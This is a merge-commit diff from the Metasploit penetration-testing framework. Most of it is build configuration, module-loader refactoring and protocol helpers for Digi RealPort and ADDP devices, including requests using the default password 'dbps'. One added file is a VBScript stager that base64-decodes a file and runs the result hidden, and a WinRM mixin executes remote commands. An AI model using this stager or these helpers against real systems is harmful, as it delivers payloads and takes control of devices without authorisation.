Merge branch 'master' into feature/udp-scanner-mixin

This commit is contained in:
HD Moore 2012-11-08 06:09:22 -06:00
commit 0e8a3f0ea6
54 changed files with 4597 additions and 99 deletions

2
.gitignore vendored
View File

@ -6,6 +6,8 @@
.yardoc
# Mac OS X files
.DS_Store
# simplecov coverage data
coverage
data/meterpreter/ext_server_pivot.dll
data/meterpreter/ext_server_pivot.x64.dll
doc

4
.travis.yml Normal file
View File

@ -0,0 +1,4 @@
language: ruby
rvm:
# - '1.8.7'
- '1.9.3'

View File

@ -24,4 +24,7 @@ end
group :test do
# testing framework
gem 'rspec'
# code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
gem 'simplecov', '0.5.4', :require => false
end

View File

@ -45,6 +45,10 @@ GEM
rspec-expectations (2.11.3)
diff-lcs (~> 1.1.3)
rspec-mocks (2.11.3)
simplecov (0.5.4)
multi_json (~> 1.0.3)
simplecov-html (~> 0.5.3)
simplecov-html (0.5.3)
slop (3.3.3)
tzinfo (0.3.33)
yard (0.8.2.1)
@ -60,4 +64,5 @@ DEPENDENCIES
rake
redcarpet
rspec
simplecov (= 0.5.4)
yard

View File

@ -1,5 +1,5 @@
Metasploit
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework)
==
The Metasploit Framework is released under a BSD-style license. See
COPYING for more details.

View File

@ -0,0 +1,41 @@
echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
echo Set file = fs.GetFile("ENCODED") >>decode_stub
echo If file.Size Then >>decode_stub
echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
echo data = fd.ReadAll >>decode_stub
echo data = Replace(data, vbCrLf, "") >>decode_stub
echo data = base64_decode(data) >>decode_stub
echo fd.Close >>decode_stub
echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub
echo ofs.Write data >>decode_stub
echo ofs.close >>decode_stub
echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
echo shell.run "DECODED", 0, false >>decode_stub
echo Wscript.sleep(1000 * 60 * 5) >>decode_stub
echo Else >>decode_stub
echo Wscript.Echo "The file is empty." >>decode_stub
echo End If >>decode_stub
echo Function base64_decode(byVal strIn) >>decode_stub
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
echo If Not w2 Then _ >>decode_stub
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
echo If Not w3 Then _ >>decode_stub
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
echo If Not w4 Then _ >>decode_stub
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
echo Next >>decode_stub
echo base64_decode = strOut >>decode_stub
echo End Function >>decode_stub
echo Function mimedecode(byVal strIn) >>decode_stub
echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
echo If Len(strIn) = 0 Then >>decode_stub
echo mimedecode = -1 : Exit Function >>decode_stub
echo Else >>decode_stub
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
echo End If >>decode_stub
echo End Function >>decode_stub

View File

@ -182,12 +182,14 @@ class FastLib
end
# This method provides a way to create a FASTLIB archive programatically.
#
# This method provides a way to create a FASTLIB archive programatically,
# the key arguments are the name of the destination archive, the base
# directory that should be excluded from the archived path, and finally
# the list of specific files and directories to include in the archive.
#
# @param [String] lib the output path for the archive
# @param [String] flag a string containing the hex values for the flags ({FLAG_COMPRESS} and {FLAG_ENCRYPT}).
# @param [String] bdir the path to the base directory which will be stripped from all paths included in the archive
# @param [Array<String>] dirs list of directories/files to pack into the archive. All dirs should be under bdir so
# that the paths are stripped correctly.
# @return [void]
def self.dump(lib, flag, bdir, *dirs)
head = ""
data = ""

View File

@ -59,7 +59,7 @@ require 'msf/core/exploit/vim_soap'
require 'msf/core/exploit/wdbrpc'
require 'msf/core/exploit/wdbrpc_client'
require 'msf/core/exploit/afp'
require 'msf/core/exploit/realport'
# Telephony
require 'msf/core/exploit/dialup'

View File

@ -0,0 +1,236 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/exploit/tcp'
module Msf
###
#
# This module provides methods for working with the RealPort protocol
#
###
module Exploit::Remote::RealPort
include Msf::Exploit::Remote::Tcp
#
# Initializes an instance of an auxiliary module that uses RealPort
#
def initialize(info = {})
super
register_options( [
Opt::RPORT(771)
], Msf::Exploit::Remote::RealPort )
end
@@REALPORT_BAUD_MAP = {
'2400' => "\x03\x00",
'9600' => "\x00\xc0",
'19200' => "\x00\x60",
'38400' => "\x00\x20",
'57600' => "\x00\x30",
'76800' => "\x00\x10",
'115200' => "\x00\x10", # Yup, same as above
'230400' => "\x00\x08",
'460800' => "\x00\x04",
'921600' => "\x00\x02",
}
# Connect to the RealPort service and send the initial handshake
# This has the benefit of retrieving the port count and product
# Returns true if it succeeds and nil otherwise
def realport_connect
connect
sock.put("\xfb\x01\xfb\x02\xfb\x18")
res = sock.get_once(12, 5)
return unless (res and res.length == 12)
unless res[0,2] == "\xfc\x01"
vprint_error("#{rhost}:#{rport} Bad reply: #{res.inspect}")
return
end
len = res[2,2].unpack("n").first
return unless len > 0
res = sock.get_once(len, 5)
unless res.length == len
vprint_error("#{rhost}:#{rport} Bad length: #{res.length} wanted #{len}")
return
end
name,info = res.split("\xfc\x02", 2)
fields = info.unpack("n*")
@realport_port_count = fields[1].to_i
@realport_name = name.gsub(/[\r\n]/, '')
# The server also sends us an additional four-byte packet we can ignore here
# This throws away a \xFC\x18\x00\x04 sequence
sock.get_once(-1, 5)
return true
end
def realport_disconnect
disconnect
end
def realport_baud_to_speed(baud)
@@REALPORT_BAUD_MAP[baud]
end
def realport_recv_banner(port=0, timeout=30, max_data=4096)
#
# Data is received here, header is:
# a2 00 01 82 XX
# ^ [ counter ] [ length ] [ data ]
#
# Can also see f0 here (keep alive)
banner = ""
stime = Time.now.to_f
dcnt = 0
pcnt = 0
while banner.length < max_data and (Time.now.to_f - stime) < timeout
res = sock.get_once(1, 1)
unless res
if banner.length == 0 or pcnt < 3
# Send a new line to wake up the remote end
realport_send(port, "\r")
pcnt += 1
next
else
# Allow three empty reads *after* we have sent at least one probe and have data
dcnt += 1
break if dcnt > 3
next
end
end
bit = res.unpack("C").first
case bit
when (0xA0 + port)
# Read the packet sequence number (two bytes)
res = sock.get_once(2, 1)
when 0xF0
# Skip this keep-alive response
when (0x80 + port)
# Read the one-byte length value
res = sock.get_once(1, 1)
if res
len = res.unpack("C").first
res = sock.get_once(len, 1)
if res
banner << res
end
end
end
end
banner
end
def realport_send(port=0, data="")
sock.put( [port].pack("C") + data )
end
def realport_close(port=0)
cprt = [ 0xb0 + port ].pack("C")
pkt = cprt + "\x28\x00\xc0\x00\xb0\x00\x01\x00\x00\x00\x00" + cprt + "\x0a\x03"
# Response
# b2 0b 03 00 00 02
# Send a close request
sock.put(pkt)
res = sock.get_once(-1, 5)
vprint_status("#{target_host}:#{rport} Port:#{port} Close:#{ res.inspect }")
return
end
def realport_open(port=0, baud='9600')
@realport_banner = ''
cprt = [ 0xb0 + port ].pack("C")
aprt = [ 0xa0 + port ].pack("C")
speed = realport_baud_to_speed(baud)
# Open port
pkt1 = "\xf0" + cprt + "\x0a"+ "\x00"
# Response
# b2 0b 00 00 00 02
# ^ ^ <- port number
# Open the port
sock.put(pkt1)
res = sock.get_once(-1, 5)
vprint_status("#{target_host}:#{rport} Port:#{port} Baud:#{baud} Open:#{ res.inspect }")
# Access the port
pkt2 =
cprt + "\x0e" +
cprt + "\x2a\x02\xc0\xf3" +
cprt + "\x10" +
cprt + "\x14" +
cprt + "\x16" +
cprt + "\x2c\x03\x00\x00"
# Response (GOOD)
# b2 0f 00 00 00 00 b2 15 0f ff 0f ff b2 11 00 00
# 13 b2 17 01 02 00 2f 06 a8 00 1c 20 00 00 00 00
# 00 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00
# 00
# Response (BAD)
# \xFF \x17 Access to unopened port\x00
# Send negotiate request
sock.put(pkt2)
res = sock.get_once(-1, 5)
if res.to_s =~ /^\xff/
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
return :closed
end
vprint_status("#{target_host}:#{rport} Port:#{port} Baud:#{baud} Negotiate:#{ res.inspect }")
# Terminal settings
pkt3 =
cprt + "\x30\x03\xff\x00\x64" +
cprt + "\x2d\x03\xff\x0b\xff" +
cprt + "\x28" + speed + "\x04" +
cprt + "\x00\x01\x00\x00\x00\x00" +
cprt + "\x2c\x00\x12\x00" +
cprt + "\x2e\x11\x13\x16\x00\x00" +
cprt + "\x2f\x03\xff\x00\x64" +
cprt + "\x40\x37" + aprt + "\x0f\xff"
# Response
# c2 12 00 00 f0
# ^
# Send terminal settings request
sock.put(pkt3)
res = sock.get_once(-1, 5)
if res.to_s =~ /^\xff/
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
return :closed
end
vprint_status("#{target_host}:#{rport} Port:#{port} Baud:#{baud} Settings:#{ res.inspect }")
return :open
end
end
end

View File

@ -17,6 +17,7 @@ module Exploit::Remote::WinRM
NTLM_CONST ||= Rex::Proto::NTLM::Constants
NTLM_UTILS ||= Rex::Proto::NTLM::Utils
NTLM_XCEPT ||= Rex::Proto::NTLM::Exceptions
def initialize(info = {})
super
register_options(
@ -61,13 +62,17 @@ module Exploit::Remote::WinRM
def winrm_run_cmd(cmd, timeout=20)
resp,c = send_request_ntlm(winrm_open_shell_msg,timeout)
if resp.nil?
print_error "Recieved no reply from server"
return nil
end
if resp.code == 401
print_error "Login failure! Recheck supplied credentials."
return resp .code
end
unless resp.code == 200
print_error "Got unexpected response: \n #{resp.to_s}"
retval == resp.code || 0
retval = resp.code || 0
return retval
end
shell_id = winrm_get_shell_id(resp)
@ -80,6 +85,29 @@ module Exploit::Remote::WinRM
return streams
end
def winrm_run_cmd_hanging(cmd, timeout=20)
resp,c = send_request_ntlm(winrm_open_shell_msg,timeout)
if resp.nil?
print_error "Recieved no reply from server"
return nil
end
if resp.code == 401
print_error "Login failure! Recheck supplied credentials."
return resp .code
end
unless resp.code == 200
print_error "Got unexpected response: \n #{resp.to_s}"
retval = resp.code || 0
return retval
end
shell_id = winrm_get_shell_id(resp)
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout)
cmd_id = winrm_get_cmd_id(resp)
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id),timeout)
streams = winrm_get_cmd_streams(resp)
return streams
end
def winrm_wql_msg(wql)
action = winrm_uri_action("wql")
contents = winrm_header(action) + winrm_wql_body(wql)
@ -134,6 +162,7 @@ module Exploit::Remote::WinRM
end
def parse_wql_response(response)
return nil if response.nil?
xml = response.body
columns = []
rows =[]
@ -160,16 +189,19 @@ module Exploit::Remote::WinRM
end
def winrm_get_shell_id(response)
return nil if response.nil?
xml = response.body
shell_id = REXML::Document.new(xml).elements["//w:Selector"].text
end
def winrm_get_cmd_id(response)
return nil if response.nil?
xml = response.body
cmd_id = REXML::Document.new(xml).elements["//rsp:CommandId"].text
end
def winrm_get_cmd_streams(response)
return nil if response.nil?
streams = {
'stdout' => '',
'stderr' => '',
@ -178,7 +210,7 @@ module Exploit::Remote::WinRM
rxml = REXML::Document.new(xml).root
rxml.elements.to_a("//rsp:Stream").each do |node|
next if node.text.nil?
streams[node.attributes['Name']] << Rex::Text.base64_decode(node.text)
streams[node.attributes['Name']] << Rex::Text.decode_base64(node.text)
end
return streams
end
@ -291,6 +323,13 @@ module Exploit::Remote::WinRM
end
end
def wmi_namespace
return datastore['NAMESPACE'] if datastore['NAMESPACE']
return @namespace_override if @namespace_override
return "/root/cimv2/"
end
private
def winrm_option_set(options)
@ -400,7 +439,7 @@ module Exploit::Remote::WinRM
def winrm_uri_action(type)
case type
when "wql"
return %q{<w:ResourceURI mustUnderstand="true">http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/*</w:ResourceURI>
return %Q{<w:ResourceURI mustUnderstand="true">http://schemas.microsoft.com/wbem/wsman/1/wmi#{wmi_namespace}*</w:ResourceURI>
<a:Action mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/09/enumeration/Enumerate</a:Action>}
when "create_shell"
return %q{<w:ResourceURI mustUnderstand="true">http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd</w:ResourceURI>

View File

@ -26,11 +26,11 @@ module Msf::ModuleManager::Loading
def file_changed?(path)
changed = false
module_details = self.module_info_by_path[path]
module_info = self.module_info_by_path[path]
# if uncached then it counts as changed
# Payloads can't be cached due to stage/stager matching
if module_details.nil? or module_details[:mtype] == Msf::MODULE_PAYLOAD
if module_info.nil? or module_info[:type] == Msf::MODULE_PAYLOAD
changed = true
else
begin
@ -39,7 +39,7 @@ module Msf::ModuleManager::Loading
# if the file does not exist now, that's a change
changed = true
else
cached_modification_time = module_details[:mtime].to_i
cached_modification_time = module_info[:modification_time].to_i
# if the file's modification time's different from the cache, then it's changed
if current_modification_time != cached_modification_time

View File

@ -0,0 +1,38 @@
# Base error class for all error under {Msf::Modules}
class Msf::Modules::Error < StandardError
def initialize(attributes={})
@module_path = attributes[:module_path]
@module_reference_name = attributes[:module_reference_name]
message_parts = []
message_parts << "Failed to load module"
if module_reference_name or module_path
clause_parts = []
if module_reference_name
clause_parts << module_reference_name
end
if module_path
clause_parts << "from #{module_path}"
end
clause = clause_parts.join(' ')
message_parts << "(#{clause})"
end
causal_message = attributes[:causal_message]
if causal_message
message_parts << "due to #{causal_message}"
end
message = message_parts.join(' ')
super(message)
end
attr_reader :module_reference_name
attr_reader :module_path
end

View File

@ -41,7 +41,7 @@ class Msf::Modules::Loader::Archive < Msf::Modules::Loader::Base
type = entry.split('/', 2)[0]
type = type.singularize
unless module_manager.enablement_by_type[type]
unless module_manager.type_enabled?(type)
next
end

View File

@ -3,6 +3,8 @@
#
require 'msf/core/modules/loader'
require 'msf/core/modules/namespace'
require 'msf/core/modules/metasploit_class_compatibility_error'
require 'msf/core/modules/version_compatibility_error'
# Responsible for loading modules for {Msf::ModuleManager}.
#
@ -77,7 +79,6 @@ class Msf::Modules::Loader::Base
raise ::NotImplementedError
end
# Loads a module from the supplied path and module_reference_name.
#
# @param [String] parent_path The path under which the module exists. This is not necessarily the same path as passed
@ -104,24 +105,33 @@ class Msf::Modules::Loader::Base
force = options[:force] || false
reload = options[:reload] || false
unless force or module_manager.file_changed?(parent_path)
dlog("Cached module from #{parent_path} has not changed.", 'core', LEV_2)
module_path = self.module_path(parent_path, type, module_reference_name)
file_changed = module_manager.file_changed?(module_path)
unless force or file_changed
dlog("Cached module from #{module_path} has not changed.", 'core', LEV_2)
return false
end
reload ||= force || file_changed
metasploit_class = nil
module_path = self.module_path(parent_path, type, module_reference_name)
module_content = read_module_content(parent_path, type, module_reference_name)
if module_content.empty?
# read_module_content is responsible for calling {#load_error}, so just return here.
return false
end
loaded = namespace_module_transaction(type + "/" + module_reference_name, :reload => reload) { |namespace_module|
# set the parent_path so that the module can be reloaded with #load_module
namespace_module.parent_path = parent_path
module_content = read_module_content(parent_path, type, module_reference_name)
begin
namespace_module.module_eval_with_lexical_scope(module_content, module_path)
# handle interrupts as pass-throughs unlike other Exceptions
# handle interrupts as pass-throughs unlike other Exceptions so users can bail with Ctrl+C
rescue ::Interrupt
raise
rescue ::Exception => error
@ -129,45 +139,33 @@ class Msf::Modules::Loader::Base
begin
namespace_module.version_compatible!(module_path, module_reference_name)
rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error
error_message = "Failed to load module (#{module_path}) due to error and #{version_compatibility_error}"
load_error(module_path, version_compatibility_error)
else
error_message = "#{error.class} #{error}"
load_error(module_path, error)
end
# record the error message without the backtrace for the console
module_manager.module_load_error_by_path[module_path] = error_message
error_message_with_backtrace = "#{error_message}:\n#{error.backtrace.join("\n")}"
elog(error_message_with_backtrace)
return false
end
begin
namespace_module.version_compatible!(module_path, module_reference_name)
rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error
error_message = version_compatibility_error.to_s
elog(error_message)
module_manager.module_load_error_by_path[module_path] = error_message
load_error(module_path, version_compatibility_error)
return false
end
metasploit_class = namespace_module.metasploit_class
begin
metasploit_class = namespace_module.metasploit_class!(module_path, module_reference_name)
rescue Msf::Modules::MetasploitClassCompatibilityError => error
load_error(module_path, error)
unless metasploit_class
error_message = "Missing Metasploit class constant"
elog(error_message)
module_manager.module_load_error_by_path[module_path] = error_message
return false
return false
end
unless usable?(metasploit_class)
ilog(
"Skipping module #{module_reference_name} under #{parent_path} because is_usable returned false.",
"Skipping module (#{module_reference_name} from #{module_path}) because is_usable returned false.",
'core',
LEV_1
)
@ -191,6 +189,11 @@ class Msf::Modules::Loader::Base
# not trigger an ambiguous name warning, which would cause the reloaded module to not be stored in the
# ModuleManager.
module_manager.delete(module_reference_name)
# Delete the original copy of the module in the type-specific module set stores the reloaded module and doesn't
# trigger an ambiguous name warning
module_set = module_manager.module_set(type)
module_set.delete(module_reference_name)
end
# Do some processing on the loaded module to get it into the right associations
@ -290,7 +293,6 @@ class Msf::Modules::Loader::Base
dlog("Reloading module #{module_reference_name}...", 'core')
if load_module(parent_path, type, module_reference_name, :force => true, :reload => true)
# Create a new instance of the module
reloaded_module_instance = module_manager.create(module_reference_name)
@ -401,6 +403,29 @@ class Msf::Modules::Loader::Base
raise ::NotImplementedError
end
# Records the load error to {Msf::ModuleManager::Loading#module_load_error_by_path} and the log.
#
# @param [String] module_path Path to the module as returned by {#module_path}.
# @param [Exception, #class, #to_s, #backtrace] error the error that cause the module not to load.
# @return [void]
#
# @see #module_path
def load_error(module_path, error)
# module_load_error_by_path does not get the backtrace because the value is echoed to the msfconsole where
# backtraces should not appear.
module_manager.module_load_error_by_path[module_path] = "#{error.class} #{error}"
log_lines = []
log_lines << "#{module_path} failed to load due to the following error:"
log_lines << error.class.to_s
log_lines << error.to_s
log_lines << "Call stack:"
log_lines += error.backtrace
log_message = log_lines.join("\n")
elog(log_message)
end
# @return [Msf::ModuleManager] The module manager for which this loader is loading modules.
attr_reader :module_manager
@ -486,20 +511,18 @@ class Msf::Modules::Loader::Base
elog("Reloading namespace_module #{previous_namespace_module} when :reload => false")
end
relative_name = namespace_module_names.last
if previous_namespace_module
parent_module = previous_namespace_module.parent
relative_name = namespace_module_names.last
# remove_const is private, so invoke in instance context
parent_module.instance_eval do
remove_const relative_name
end
else
parent_module = nil
relative_name = namespace_module_names.last
# remove_const is private, so use send to bypass
parent_module.send(:remove_const, relative_name)
end
namespace_module = create_namespace_module(namespace_module_names)
# Get the parent module from the created module so that restore_namespace_module can remove namespace_module's
# constant if needed.
parent_module = namespace_module.parent
begin
loaded = block.call(namespace_module)
@ -534,19 +557,29 @@ class Msf::Modules::Loader::Base
#
# @param [Module] parent_module The .parent of namespace_module before it was removed from the constant tree.
# @param [String] relative_name The name of the constant under parent_module where namespace_module was attached.
# @param [Module] namespace_module The previous namespace module containing the old module content.
# @param [Module, nil] namespace_module The previous namespace module containing the old module content. If `nil`,
# then the relative_name constant is removed from parent_module, but nothing is set as the new constant.
# @return [void]
def restore_namespace_module(parent_module, relative_name, namespace_module)
if parent_module and namespace_module
# the const may have been redefined by {#create_namespace_module}, in which case that new namespace_module needs
# to be removed so the original can replace it.
if parent_module.const_defined? relative_name
parent_module.instance_eval do
remove_const relative_name
end
end
if parent_module
# If there is a current module with relative_name
if parent_module.const_defined?(relative_name)
# if the current value isn't the value to be restored.
if parent_module.const_get(relative_name) != namespace_module
# remove_const is private, so use send to bypass
parent_module.send(:remove_const, relative_name)
parent_module.const_set(relative_name, namespace_module)
# if there was a previous module, not set it to the name
if namespace_module
parent_module.const_set(relative_name, namespace_module)
end
end
else
# if there was a previous module, but there isn't a current module, then restore the previous module
if namespace_module
parent_module.const_set(relative_name, namespace_module)
end
end
end
end

View File

@ -75,13 +75,17 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
module_content = ''
# force to read in binary mode so Pro modules won't be truncated on Windows
File.open(full_path, 'rb') do |f|
# Pass the size of the file as it leads to faster reads due to fewer buffer resizes. Greatest effect on Windows.
# @see http://www.ruby-forum.com/topic/209005
# @see https://github.com/ruby/ruby/blob/ruby_1_8_7/io.c#L1205
# @see https://github.com/ruby/ruby/blob/ruby_1_9_3/io.c#L2038
module_content = f.read(f.stat.size)
begin
# force to read in binary mode so Pro modules won't be truncated on Windows
File.open(full_path, 'rb') do |f|
# Pass the size of the file as it leads to faster reads due to fewer buffer resizes. Greatest effect on Windows.
# @see http://www.ruby-forum.com/topic/209005
# @see https://github.com/ruby/ruby/blob/ruby_1_8_7/io.c#L1205
# @see https://github.com/ruby/ruby/blob/ruby_1_9_3/io.c#L2038
module_content = f.read(f.stat.size)
end
rescue Errno::ENOENT => error
load_error(full_path, error)
end
module_content

View File

@ -0,0 +1,13 @@
require 'msf/core/modules/error'
# Error raised by {Msf::Modules::Namespace#metasploit_class!} if it cannot the namespace_module does not have a constant
# with {Msf::Framework::Major} or lower as a number after 'Metasploit', which indicates a compatible Msf::Module.
class Msf::Modules::MetasploitClassCompatibilityError < Msf::Modules::Error
def initialize(attributes={})
super_attributes = {
:causal_message => 'Missing compatible Metasploit<major_version> class constant',
}.merge(attributes)
super(super_attributes)
end
end

View File

@ -10,8 +10,6 @@ module Msf::Modules::Namespace
# @return [nil] if such as class is not defined.
def metasploit_class
metasploit_class = nil
# don't search ancestors for the metasploit_class
#inherit = false
::Msf::Framework::Major.downto(1) do |major|
# Since we really only care about the deepest namespace, we don't
@ -29,6 +27,19 @@ module Msf::Modules::Namespace
metasploit_class
end
def metasploit_class!(module_path, module_reference_name)
metasploit_class = self.metasploit_class
unless metasploit_class
raise Msf::Modules::MetasploitClassCompatibilityError.new(
:module_path => module_path,
:module_reference_name => module_reference_name
)
end
metasploit_class
end
# Raises an error unless {Msf::Framework::VersionCore} and {Msf::Framework::VersionAPI} meet the minimum required
# versions defined in RequiredVersions in the module content.
#

View File

@ -1,20 +1,43 @@
require 'msf/core/modules/error'
# Error raised by {Msf::Modules::Namespace#version_compatible!} on {Msf::Modules::Loader::Base#create_namespace_module}
# if the API or Core version does not meet the minimum requirements defined in the RequiredVersions constant in the
# {Msf::Modules::Loader::Base#read_module_content module content}.
class Msf::Modules::VersionCompatibilityError < StandardError
class Msf::Modules::VersionCompatibilityError < Msf::Modules::Error
# @param [Hash{Symbol => Float}] attributes
# @option attributes [Float] :minimum_api_version The minimum {Msf::Framework::VersionAPI} as defined in
# RequiredVersions.
# @option attributes [Float] :minimum_core_version The minimum {Msf::Framework::VersionCore} as defined in
# RequiredVersions.
def initialize(attributes={})
@module_path = attributes[:module_path]
@module_reference_name = attributes[:module_reference_name]
@minimum_api_version = attributes[:minimum_api_version]
@minimum_core_version = attributes[:minimum_core_version]
super("Failed to reload module (#{module_reference_name} from #{module_path}) due to version check " \
"(requires API:#{minimum_api_version} Core:#{minimum_core_version})")
message_parts = []
message_parts << 'version check'
if minimum_api_version or minimum_core_version
clause_parts = []
if minimum_api_version
clause_parts << "API >= #{minimum_api_version}"
end
if minimum_core_version
clause_parts << "Core >= #{minimum_core_version}"
end
clause = clause_parts.join(' and ')
message_parts << "(requires #{clause})"
end
causal_message = message_parts.join(' ')
super_attributes = {
:causal_message => causal_message
}.merge(attributes)
super(super_attributes)
end
# @return [Float] The minimum value of {Msf::Framework::VersionAPI} for the module to be compatible.

218
lib/rex/proto/addp.rb Normal file
View File

@ -0,0 +1,218 @@
# -*- coding: binary -*-
module Rex
module Proto
#
# This provides constants, encoding, and decoding routines for Digi International's ADDP protocol
#
class ADDP
require "rex/socket"
#
# See the following URLs for more information:
# - http://qbeukes.blogspot.com/2009/11/advanced-digi-discovery-protocol_21.html
# - http://www.digi.com/wiki/developer/index.php/Advanced_Device_Discovery_Protocol_%28ADDP%29
#
MAGICS = %W{ DIGI DVKT DGDP }
ERRORS = %W{ no_response unknown success authenticaton_failed unit_has_address invalid_value invalid_data unsupported_command }
WLAN_ENC_MODES = %W{ unknown none wep40 wep128 }
WLAN_AUTH_MODES = %W{ unknown open shared_key open_shared_key }
HWTYPES = %W{
unknown ps3_desk8 ps3_desk16 ps3_desk32 ps3_rack16 ps2_desk16 ps2_rack16
lets_desk1 lets_desk2 lets_desk4 dorpia_dinrail1 nubox01 nubox02 nubox04
digione_sp digione_ia digione_em
}
CMD_CONF_REQ = 1
CMD_CONF_REP = 2
CMD_SET_ADDR_REQ = 3
CMD_SET_ADDR_REP = 4
CMD_REBOOT_REQ = 5
CMD_REBOOT_REP = 6
CMD_SET_DHCP_REQ = 7
CMD_SET_DHCP_REP = 8
CMD_SET_WL_REQ = 9
CMD_SET_WL_REP = 10
CMD_SET_WL_COUNTRIES_REQ = 11
CMD_SET_WL_COUNTRIES_REP = 12
CMD_EDP = 13
CMD_CNT = 14
def self.encode_password(pwd="dbps")
[pwd.length].pack("C") + pwd
end
def self.request_config(magic, dmac="\xff\xff\xff\xff\xff\xff")
mac = (dmac.length == 6) ? dmac : Rex::Socket.eth_aton(dmac)
req = magic + [ CMD_CONF_REQ, 6].pack("nn") + mac
return req
end
def self.request_config_all(dmac="\xff\xff\xff\xff\xff\xff")
mac = (dmac.length == 6) ? dmac : Rex::Socket.eth_aton(dmac)
res = []
MAGICS.each { |m| res << self.request_config(m, dmac) }
return res
end
def self.request_static_ip(magic, dmac, ip, mask, gw, pwd="dbps")
mac = (dmac.length == 6) ? dmac : Rex::Socket.eth_aton(dmac)
buf =
Rex::Socket.addr_aton(ip) +
Rex::Socket.addr_aton(mask) +
Rex::Socket.addr_aton(gw) +
mac +
self.encode_password(pwd)
req = magic + [CMD_SET_ADDR_REQ, buf.length].pack("nn") + buf
return req
end
def self.request_dhcp(magic, dmac, enabled, pwd="dbps")
mac = (dmac.length == 6) ? dmac : Rex::Socket.eth_aton(dmac)
buf =
[ enabled ? 1 : 0 ].pack("C") +
mac +
self.encode_password(pwd)
req = magic + [CMD_SET_DHCP_REQ, buf.length].pack("nn") + buf
return req
end
def self.request_reboot(magic, dmac, pwd="dbps")
mac = (dmac.length == 6) ? dmac : Rex::Socket.eth_aton(dmac)
buf =
mac +
self.encode_password(pwd)
req = magic + [CMD_REBOOT_REQ, buf.length].pack("nn") + buf
return req
end
def self.decode_reply(data)
res = {}
r_magic = data[0,4]
r_ptype = data[4,2].unpack("n").first
r_plen = data[6,2].unpack("n").first
buff = data[8, r_plen]
bidx = 0
res[:magic] = data[0,4]
res[:cmd] = r_ptype
while bidx < (buff.length - 2)
i_type, i_len = buff[bidx, 2].unpack("CC")
i_data = buff[bidx + 2, i_len]
break if i_data.length != i_len
case i_type
when 0x01
res[:mac] = Rex::Socket.eth_ntoa(i_data)
when 0x02
res[:ip] = Rex::Socket.addr_ntoa(i_data)
when 0x03
res[:mask] = Rex::Socket.addr_ntoa(i_data)
when 0x04
res[:hostname] = i_data
when 0x05
res[:domain] = i_data
when 0x06
res[:hwtype] = HWTYPES[ i_data.unpack("C").first ] || HWTYPES[ 0 ]
when 0x07
res[:hwrev] = i_data.unpack("C").first
when 0x08
res[:fwrev] = i_data
when 0x09
res[:msg] = i_data
when 0x0a
res[:result] = i_data.unpack("C").first
when 0x0b
res[:gw] = Rex::Socket.addr_ntoa(i_data)
when 0x0c
res[:advisory] = i_data.unpack("n").first
when 0x0d
res[:hwname] = i_data
when 0x0e
res[:realport] = i_data.unpack("N").first
when 0x0f
res[:dns] = Rex::Socket.addr_ntoa(i_data)
when 0x10
res[:dhcp] = (i_data.unpack("C").first == 0) ? false : true
when 0x11
res[:error] = ERRORS[ i_data.unpack("C").first ] || ERRORS[0]
when 0x12
res[:ports] = i_data.unpack("C").first
when 0x13
res[:realport_enc] = (i_data.unpack("C").first == 0) ? false : true
when 0x14
res[:version] = i_data.unpack("n").first
when 0x15
res[:vendor_guid] = i_data.unpack("H*") # GUID
when 0x16
res[:iftype] = i_data.unpack("C").first
when 0x17
res[:challenge] = i_data # Unknown format
when 0x18
res[:cap_port] = i_data.unpack("n").first
when 0x19
res[:edp_devid] = i_data.unpack("H*").first # Unknown format
when 0x1a
res[:edp_enabled] = (i_data.unpack("C").first == 0) ? false : true
when 0x1b
res[:edp_url] = i_data
when 0x1c
res[:wl_ssid] = i_data
when 0x1d
res[:wl_auto_ssid] = (i_data.unpack("n").first == 0) ? false : true
when 0x1e
res[:wl_tx_enh_power] = i_data.unpack("n").first
when 0x1f
res[:wl_auth_mode] = WLAN_AUTH_MODES[ i_data.unpack("n").first ] || WLAN_AUTH_MODES[ 0 ]
when 0x20
res[:wl_enc_mode] = WLAN_ENC_MODES[ i_data.unpack("n").first ] || WLAN_ENC_MODES[ 0 ]
when 0x21
res[:wl_enc_key] = i_data
when 0x22
res[:wl_cur_country] = i_data
when 0x23
res[:wl_country_list] = i_data
else
# Store unknown responses
res["unknown_0x#{"%.2x" % i_type}".to_sym] = i_data
end
bidx = bidx + 2 + i_len
end
return res
end
def self.reply_to_string(res)
str = ""
fields = [
:hwname, :hwtype, :hwrev, :fwrev,
:mac, :ip, :mask, :gw, :hostname, :domain, :dns, :dhcp,
:msg, :result, :error,
